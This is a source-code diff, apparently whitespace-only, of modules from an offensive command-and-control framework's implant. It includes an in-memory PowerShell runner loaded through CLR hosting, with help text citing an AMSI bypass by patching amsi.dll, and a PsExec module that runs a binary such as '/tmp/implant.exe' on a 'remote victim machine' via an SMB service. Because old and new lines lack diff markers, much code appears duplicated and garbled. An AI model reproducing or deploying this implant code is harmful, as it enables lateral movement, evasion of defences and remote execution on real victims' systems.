hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
if (FAILED(hr))
{
// wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hostCreated = true;
hostCreated = true;
Cleanup:
if (pMetaHost)
{
pMetaHost->Release();
pMetaHost = NULL;
}
if (pRuntimeInfo)
{
pRuntimeInfo->Release();
pRuntimeInfo = NULL;
}
if (pMetaHost)
{
pMetaHost->Release();
pMetaHost = NULL;
}
if (pRuntimeInfo)
{
pRuntimeInfo->Release();
pRuntimeInfo = NULL;
}
return hostCreated;
return hostCreated;
}
HRESULT createDotNetTwoHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
{
HRESULT hr = NULL;
bool hostCreated = false;
funcCorBindToRuntime pCorBindToRuntime = NULL;
pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime");
if (!pCorBindToRuntime)
{
// wprintf(L"Could not find API CorBindToRuntime");
return hostCreated;
}
HRESULT hr = NULL;
bool hostCreated = false;
funcCorBindToRuntime pCorBindToRuntime = NULL;
pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime");
if (!pCorBindToRuntime)
{
// wprintf(L"Could not find API CorBindToRuntime");
return hostCreated;
}
hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
if (FAILED(hr))
{
// wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr);
return hostCreated;
}
hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
if (FAILED(hr))
{
// wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr);
return hostCreated;
}
hostCreated = true;
hostCreated = true;
return hostCreated;
return hostCreated;
}
HRESULT createHost(const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
{
bool hostCreated = false;
bool hostCreated = false;
HMODULE hMscoree = LoadLibrary("mscoree.dll");
if (hMscoree)
{
if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost))
{
hostCreated = true;
}
else if (createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost))
{
hostCreated = true;
}
}
return hostCreated;
HMODULE hMscoree = LoadLibrary("mscoree.dll");
if (hMscoree)
{
if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost))
{
hostCreated = true;
}
else if (createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost))
{
hostCreated = true;
}
}
return hostCreated;
}
#else
@@ -171,149 +171,149 @@ __attribute__((visibility("default"))) Powershell* PowershellConstructor()
Powershell::Powershell()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
m_firstRun=true;
m_firstRun=true;
}
Powershell::~Powershell()
{
#ifdef _WIN32
if (pCorRuntimeHost)
{
pCorRuntimeHost->Release();
pCorRuntimeHost = NULL;
}
if (pCorRuntimeHost)
{
pCorRuntimeHost->Release();
pCorRuntimeHost = NULL;
}
#endif
}
std::string Powershell::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "Powershell:\n";
info += "Execute a powershell command.\n";
info += "To be sure to get the output of the commande do 'cmd | write-output'.\n";
info += "You can import module using -i, added as New-Module at every execution.\n";
info += "You run scripts using -s.\n";
info += "AMSI bypass by patching the amsi.dll will work once for all.\n";
info += "exemple:\n";
info += " - powershell whoami | write-output\n";
info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n";
info += " - powershell -i /tmp/PowerUpSQL.ps1 \n";
info += " - powershell -s /tmp/script.ps1 \n";
info += "Powershell:\n";
info += "Execute a powershell command.\n";
info += "To be sure to get the output of the commande do 'cmd | write-output'.\n";
info += "You can import module using -i, added as New-Module at every execution.\n";
info += "You run scripts using -s.\n";
info += "AMSI bypass by patching the amsi.dll will work once for all.\n";
info += "exemple:\n";
info += " - powershell whoami | write-output\n";
info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n";
info += " - powershell -i /tmp/PowerUpSQL.ps1 \n";
info += " - powershell -s /tmp/script.ps1 \n";
#endif
return info;
return info;
}
int Powershell::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if(splitedCmd.size()<2)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
if(splitedCmd.size()<2)
{
c2Message.set_returnvalue(getInfo());
return -1;
}
string shellCmd;
for (int i = 1; i < splitedCmd.size(); i++)
{
shellCmd += splitedCmd[i];
shellCmd += " ";
}
string shellCmd;
for (int i = 1; i < splitedCmd.size(); i++)
{
shellCmd += splitedCmd[i];
shellCmd += " ";
}
if(splitedCmd[1]=="-i" || splitedCmd[1]=="-s")
{
std::string inputFile;
if(splitedCmd.size()>=3)
inputFile=splitedCmd[2];
if(splitedCmd[1]=="-i" || splitedCmd[1]=="-s")
{
std::string inputFile;
if(splitedCmd.size()>=3)
inputFile=splitedCmd[2];
std::ifstream myfile;
myfile.open(inputFile, std::ios::binary);
std::ifstream myfile;
myfile.open(inputFile, std::ios::binary);
if(!myfile)
{
std::string newInputFile=m_scriptsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string newInputFile=m_scriptsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
c2Message.set_inputfile(inputFile);
c2Message.set_inputfile(inputFile);
std::string payload;
std::string fileContent(std::istreambuf_iterator<char>(myfile), {});
std::string payload;
std::string fileContent(std::istreambuf_iterator<char>(myfile), {});
if(splitedCmd[1]=="-i")
{
payload = "New-Module -ScriptBlock {\n";
payload+=fileContent;
payload +="\nExport-ModuleMember -Function * -Alias *;};";
}
else if(splitedCmd[1]=="-s")
{
payload += "Invoke-Command -ScriptBlock {\n";
payload += fileContent;
payload += "};";
}
if(splitedCmd[1]=="-i")
{
payload = "New-Module -ScriptBlock {\n";
payload+=fileContent;
payload +="\nExport-ModuleMember -Function * -Alias *;};";
}
else if(splitedCmd[1]=="-s")
{
payload += "Invoke-Command -ScriptBlock {\n";
payload += fileContent;
payload += "};";
}
c2Message.set_data(payload.data(), payload.size());
c2Message.set_data(payload.data(), payload.size());
myfile.close();
}
myfile.close();
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(shellCmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(shellCmd);
#endif
return 0;
return 0;
}
int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
{
string cmd = c2Message.cmd();
string cmd = c2Message.cmd();
std::vector<std::string> splitedCmd;
std::vector<std::string> splitedCmd;
splitList(cmd, " ", splitedCmd);
if(!splitedCmd.empty())
{
if(splitedCmd[0]=="-i")
{
const std::string buffer = c2Message.data();
if(!splitedCmd.empty())
{
if(splitedCmd[0]=="-i")
{
const std::string buffer = c2Message.data();
m_modulesToImport+=buffer;
m_modulesToImport+=buffer;
std::string outCmd = execPowershell(m_modulesToImport);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
return 0;
std::string outCmd = execPowershell(m_modulesToImport);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
return 0;
}
}
}
}
std::string finalCmd = m_modulesToImport;
finalCmd += cmd;
std::string finalCmd = m_modulesToImport;
finalCmd += cmd;
std::string outCmd = execPowershell(finalCmd);
std::string outCmd = execPowershell(finalCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
return 0;
return 0;
}
@@ -321,90 +321,90 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
int Powershell::initCLR(std::string& result)
{
HRESULT hr;
IUnknownPtr spAppDomainThunk = NULL;
_AppDomainPtr spDefaultAppDomain = NULL;
HRESULT hr;
IUnknownPtr spAppDomainThunk = NULL;
_AppDomainPtr spDefaultAppDomain = NULL;
// The .NET assembly to load.
bstr_t bstrAssemblyName("PowerShellRunner");
_AssemblyPtr spAssembly = NULL;
// The .NET assembly to load.
bstr_t bstrAssemblyName("PowerShellRunner");
_AssemblyPtr spAssembly = NULL;
// The .NET class to instantiate.
bstr_t bstrClassName("PowerShellRunner.PowerShellRunner");
// _TypePtr spType = NULL;
// The .NET class to instantiate.
bstr_t bstrClassName("PowerShellRunner.PowerShellRunner");
// _TypePtr spType = NULL;
// Create the runtime host
if (!createHost(L"v4.0.30319", &pCorRuntimeHost))
{
result+="Failed to create the runtime host\n";
return -1;
}
// Create the runtime host
if (!createHost(L"v4.0.30319", &pCorRuntimeHost))
{
result+="Failed to create the runtime host\n";
return -1;
}
// Start the CLR
hr = pCorRuntimeHost->Start();
if (FAILED(hr))
{
result+="CLR failed to start.\n";
return -1;
}
// Start the CLR
hr = pCorRuntimeHost->Start();
if (FAILED(hr))
{
result+="CLR failed to start.\n";
return -1;
}
DWORD appDomainId = NULL;
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
if (FAILED(hr))
{
result+="RuntimeClrHost::GetCurrentAppDomainId failed.\n";
return -1;
}
DWORD appDomainId = NULL;
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
if (FAILED(hr))
{
result+="RuntimeClrHost::GetCurrentAppDomainId failed.\n";
return -1;
}
// Get a pointer to the default AppDomain in the CLR.
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
if (FAILED(hr))
{
result+="ICorRuntimeHost::GetDefaultDomain failed.\n";
return -1;
}
// Get a pointer to the default AppDomain in the CLR.
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
if (FAILED(hr))
{
result+="ICorRuntimeHost::GetDefaultDomain failed.\n";
return -1;
}
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
if (FAILED(hr))
{
result+="Failed to get default AppDomain.\n";
return -1;
}
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
if (FAILED(hr))
{
result+="Failed to get default AppDomain.\n";
return -1;
}
// Load the .NET assembly.
// (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe)
// hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly);
// (Option 2) Load the assembly from memory
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = PowerShellRunner_dll_len;
bounds[0].lLbound = 0;
// Load the .NET assembly.
// (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe)
// hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly);
// (Option 2) Load the assembly from memory
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = PowerShellRunner_dll_len;
bounds[0].lLbound = 0;
SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
SafeArrayLock(arr);
memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len);
SafeArrayUnlock(arr);
SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
SafeArrayLock(arr);
memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len);
SafeArrayUnlock(arr);
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
if (FAILED(hr))
{
result+="Failed to load the assembly.\n";
return -1;
}
if (FAILED(hr))
{
result+="Failed to load the assembly.\n";
return -1;
}
// Get the Type of PowerShellRunner.
hr = spAssembly->GetType_2(bstrClassName, &spType);
if (FAILED(hr))
{
result+="Failed to get the Type interface.\n";
return -1;
}
// Get the Type of PowerShellRunner.
hr = spAssembly->GetType_2(bstrClassName, &spType);
if (FAILED(hr))
{
result+="Failed to get the Type interface.\n";
return -1;
}
return 0;
return 0;
}
#endif
@@ -412,37 +412,37 @@ int Powershell::initCLR(std::string& result)
std::string Powershell::execPowershell(const std::string& cmd)
{
std::string result;
std::string result;
#ifdef __linux__
#elif _WIN32
if(m_firstRun)
{
int err = initCLR(result);
m_firstRun=false;
if(err!=0)
{
if (pCorRuntimeHost)
{
pCorRuntimeHost->Release();
pCorRuntimeHost = NULL;
}
}
}
if(m_firstRun)
{
int err = initCLR(result);
m_firstRun=false;
if(err!=0)
{
if (pCorRuntimeHost)
{
pCorRuntimeHost->Release();
pCorRuntimeHost = NULL;
}
}
}
if (pCorRuntimeHost)
{
wstring wide_string = wstring(cmd.begin(), cmd.end());
wchar_t* argument = wide_string.data();
InvokeMethod(spType, L"InvokePS", argument, result);
}
if (pCorRuntimeHost)
{
wstring wide_string = wstring(cmd.begin(), cmd.end());
wchar_t* argument = wide_string.data();
InvokeMethod(spType, L"InvokePS", argument, result);
}
#endif
return result;
return result;
}
@@ -450,45 +450,45 @@ std::string Powershell::execPowershell(const std::string& cmd)
void Powershell::InvokeMethod(_TypePtr spType, const wchar_t* method, wchar_t* command, std::string& result)
{
HRESULT hr;
bstr_t bstrStaticMethodName(method);
SAFEARRAY *psaStaticMethodArgs = NULL;
variant_t vtStringArg(command);
variant_t vtPSInvokeReturnVal;
variant_t vtEmpty;
HRESULT hr;
bstr_t bstrStaticMethodName(method);
SAFEARRAY *psaStaticMethodArgs = NULL;
variant_t vtStringArg(command);
variant_t vtPSInvokeReturnVal;
variant_t vtEmpty;
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LONG index = 0;
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
if (FAILED(hr))
{
result+="SafeArrayPutElement failed.";
return;
}
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LONG index = 0;
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
if (FAILED(hr))
{
result+="SafeArrayPutElement failed.";
return;
}
// Invoke the method from the Type interface.
hr = spType->InvokeMember_3(
bstrStaticMethodName,
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
NULL,
vtEmpty,
psaStaticMethodArgs,
&vtPSInvokeReturnVal);
// Invoke the method from the Type interface.
hr = spType->InvokeMember_3(
bstrStaticMethodName,
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
NULL,
vtEmpty,
psaStaticMethodArgs,
&vtPSInvokeReturnVal);
if (FAILED(hr))
{
result+="Failed to invoke InvokePS.";
return;
}
else
{
wstring ws(vtPSInvokeReturnVal.bstrVal);
std::string str(ws.begin(), ws.end());
result += str;
}
if (FAILED(hr))
{
result+="Failed to invoke InvokePS.";
return;
}
else
{
wstring ws(vtPSInvokeReturnVal.bstrVal);
std::string str(ws.begin(), ws.end());
result += str;
}
SafeArrayDestroy(psaStaticMethodArgs);
psaStaticMethodArgs = NULL;
SafeArrayDestroy(psaStaticMethodArgs);
psaStaticMethodArgs = NULL;
}
#endif
File diff suppressed because one or more lines are too long
@@ -33,9 +33,9 @@ __attribute__((visibility("default"))) PrintWorkingDirectory* PrintWorkingDirect
PrintWorkingDirectory::PrintWorkingDirectory()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -46,41 +46,41 @@ PrintWorkingDirectory::~PrintWorkingDirectory()
std::string PrintWorkingDirectory::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "PrintWorkingDirectory Module:\n";
info += "Print the current working directory on the victim machine.\n";
info += "\nExample:\n";
info += "- pwd\n";
info += "PrintWorkingDirectory Module:\n";
info += "Print the current working directory on the victim machine.\n";
info += "\nExample:\n";
info += "- pwd\n";
#endif
return info;
return info;
}
int PrintWorkingDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd("");
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd("");
return 0;
return 0;
}
int PrintWorkingDirectory::process(C2Message &c2Message, C2Message &c2RetMessage)
{
std::string outCmd = printWorkingDirectory();
std::string outCmd = printWorkingDirectory();
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(outCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(outCmd);
return 0;
return 0;
}
std::string PrintWorkingDirectory::printWorkingDirectory()
{
std::string result;
std::string result;
result = filesystem::current_path().string();
return result;
return result;
}
@@ -7,20 +7,20 @@ class PrintWorkingDirectory : public ModuleCmd
{
public:
PrintWorkingDirectory();
~PrintWorkingDirectory();
PrintWorkingDirectory();
~PrintWorkingDirectory();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string printWorkingDirectory();
std::string printWorkingDirectory();
};
+32 -32
View File
@@ -49,9 +49,9 @@ __attribute__((visibility("default"))) PsExec* PsExecConstructor()
PsExec::PsExec()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
srand(time(NULL));
@@ -65,7 +65,7 @@ PsExec::~PsExec()
std::string PsExec::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "PsExec Module:\n";
info += "Execute a binary on a remote victim machine by creating a service via an SMB share.\n";
@@ -75,39 +75,39 @@ std::string PsExec::getInfo()
info += "- psExec m3dc.cyber.local /tmp/implant.exe\n";
info += "- psExec 10.9.20.10 /tmp/implant.exe\n";
#endif
return info;
return info;
}
int PsExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
if (splitedCmd.size() >= 3)
{
{
string scmServer = splitedCmd[1];
string inputFile = splitedCmd[2];
string inputFile = splitedCmd[2];
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_cmd(scmServer);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_cmd(scmServer);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#ifdef __linux__
@@ -115,7 +115,7 @@ int PsExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
#endif
return 0;
return 0;
}
@@ -137,7 +137,7 @@ std::string randomName( size_t length )
int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage)
{
const std::string cmd = c2Message.cmd();
const std::string cmd = c2Message.cmd();
std::vector<std::string> splitedList;
splitList(cmd, ";", splitedList);
@@ -189,10 +189,10 @@ int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage)
#endif
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(result);
return 0;
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(result);
return 0;
}
+7 -7
View File
@@ -7,15 +7,15 @@ class PsExec : public ModuleCmd
{
public:
PsExec();
~PsExec();
PsExec();
~PsExec();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_WINDOWS;
}
+62 -62
View File
@@ -1,62 +1,62 @@
#include "AssemblyManager.hpp"
MyAssemblyManager::MyAssemblyManager(void)
{
count = 0;
m_assemblyStore = new MyAssemblyStore();
};
MyAssemblyManager::~MyAssemblyManager(void)
{
delete m_assemblyStore;
};
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
{
return(++((MyAssemblyManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
{
if (--((MyAssemblyManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyManager*)this)->count;
}
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
{
*ppReferenceList = NULL;
return S_OK;
}
//This is responsible for returning our IHostAssemblyStore implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
{
*ppAssemblyStore = m_assemblyStore;
return S_OK;
}
#include "AssemblyManager.hpp"
MyAssemblyManager::MyAssemblyManager(void)
{
count = 0;
m_assemblyStore = new MyAssemblyStore();
};
MyAssemblyManager::~MyAssemblyManager(void)
{
delete m_assemblyStore;
};
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
{
return(++((MyAssemblyManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
{
if (--((MyAssemblyManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyManager*)this)->count;
}
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
{
*ppReferenceList = NULL;
return S_OK;
}
//This is responsible for returning our IHostAssemblyStore implementation
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
{
*ppAssemblyStore = m_assemblyStore;
return S_OK;
}
+40 -40
View File
@@ -1,41 +1,41 @@
#pragma once
#include "AssemblyStore.hpp"
class MyAssemblyManager : public IHostAssemblyManager
{
public:
MyAssemblyManager(void);
~MyAssemblyManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyStore->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyStore->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyStore->getAssemblyInfo();
};
protected:
DWORD count;
private:
MyAssemblyStore* m_assemblyStore;
#pragma once
#include "AssemblyStore.hpp"
class MyAssemblyManager : public IHostAssemblyManager
{
public:
MyAssemblyManager(void);
~MyAssemblyManager(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList);
virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyStore->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyStore->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyStore->getAssemblyInfo();
};
protected:
DWORD count;
private:
MyAssemblyStore* m_assemblyStore;
};
+114 -114
View File
@@ -1,114 +1,114 @@
#include "AssemblyStore.hpp"
#include <objbase.h>
#include <iostream>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
MyAssemblyStore::MyAssemblyStore(void)
{
count = 0;
m_targetAssembly = nullptr;
};
MyAssemblyStore::~MyAssemblyStore(void)
{
};
HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
{
return(++((MyAssemblyStore*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
{
if (--((MyAssemblyStore*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyStore*)this)->count;
}
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assembly=data;
if(m_assemblyStream!=nullptr)
m_assemblyStream->Release();
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
m_id++;
return 0;
}
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_targetAssembly->updateTargetAssembly(identityManager, data);
return 0;
}
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
// Check if the identity of the assembly being loaded is the one we want
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
{
//This isn't used for anything here so just set it to 0
*pContext = 0;
UINT64 id = m_targetAssembly->getId();
*pAssemblyId = id;
//Create an IStream using our in-memory assembly bytes and return it to the CLR
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
return S_OK;
}
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
// If it's not our assembly then tell the CLR to handle it
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
// This shouldn't really get called but if it does we'll just tell the CLR to find it
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
//Tell the CLR to handle this
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
#include "AssemblyStore.hpp"
#include <objbase.h>
#include <iostream>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
MyAssemblyStore::MyAssemblyStore(void)
{
count = 0;
m_targetAssembly = nullptr;
};
